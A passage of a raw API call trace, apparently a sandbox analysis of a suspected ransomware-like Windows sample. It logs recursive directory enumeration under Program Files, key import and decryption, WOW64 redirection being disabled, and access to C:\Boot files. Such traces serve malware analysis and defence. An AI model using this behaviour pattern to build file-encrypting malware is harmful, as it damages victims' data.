ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.695] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.696] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0273.696] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0274.239] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0274.239] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0274.240] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0274.246] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0274.326] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0274.327] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0274.328] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0274.329] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0274.330] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0274.331] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0274.331] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0274.331] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0274.333] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0274.334] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0274.334] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0274.335] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0274.335] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0274.335] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0274.336] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0274.337] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0274.337] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0274.338] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0274.339] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0274.339] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0274.340] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0274.340] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0274.340] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0274.341] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0274.342] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0274.342] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0274.343] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0274.344] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0274.344] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0274.345] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0274.346] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0274.346] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0274.347] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0274.347] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0274.347] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0274.348] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0274.349] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0274.349] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0274.349] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0274.349] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0274.350] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0274.350] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0274.351] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0274.351] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0274.351] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42c00a0 | out: hHeap=0x1c0000) returned 1 [0274.351] FindClose (in: hFindFile=0x806c18 | out: hFindFile=0x806c18) returned 1 [0274.351] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0274.352] FindClose (in: hFindFile=0x806bd8 | out: hFindFile=0x806bd8) returned 1 [0274.352] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0274.353] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806bd8 [0274.355] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\*", lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0274.360] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0274.360] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0274.360] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0274.361] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0274.361] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0274.361] FindClose (in: hFindFile=0x806bd8 | out: hFindFile=0x806bd8) returned 1 [0274.361] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0274.361] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806bd8 [0274.362] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0274.363] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0274.364] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0274.366] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0274.366] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0274.367] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0274.367] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c58 [0274.367] FindClose (in: hFindFile=0x806c58 | out: hFindFile=0x806c58) returned 1 [0274.368] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42c00a0 | out: hHeap=0x1c0000) returned 1 [0274.369] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0274.369] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0274.369] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0274.369] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0274.369] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0274.369] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0274.370] FindClose (in: hFindFile=0x806bd8 | out: hFindFile=0x806bd8) returned 1 [0274.370] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0274.371] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x512f1610, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806bd8 [0274.371] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\*", lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0274.373] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 Thread: id = 101 os_tid = 0x6d4 [0272.514] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10000) returned 0x4220050 [0272.514] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10000) returned 0x4230058 [0272.515] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x28) returned 0x1c7690 [0272.515] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x110102) returned 0x3be0020 [0272.515] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x50) returned 0x1c6560 [0272.515] CryptImportKey (in: hProv=0x7d5188, pbData=0x3b9f768, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3b9f7d0 | out: phKey=0x3b9f7d0*=0x806d58) returned 1 [0272.515] CryptSetKeyParam (hKey=0x806d58, dwParam=0x1, pbData=0x3b9f7b8, dwFlags=0x0) returned 1 [0272.515] CryptDecrypt (in: hKey=0x806d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c6560, pdwDataLen=0x3b9f784 | out: pbData=0x1c6560, pdwDataLen=0x3b9f784) returned 1 [0272.515] CryptDestroyKey (hKey=0x806d58) returned 1 [0272.515] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75bd0000 [0272.515] GetProcAddress (hModule=0x75bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75bfd650 [0272.515] Wow64DisableWow64FsRedirection (in: OldValue=0x3b9f820 | out: OldValue=0x3b9f820*=0x0) returned 1 [0272.515] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6560 | out: hHeap=0x1c0000) returned 1 [0272.516] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.516] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.516] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.516] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.516] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=0) returned 1 [0272.516] CloseHandle (hObject=0x324) returned 1 [0272.516] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, 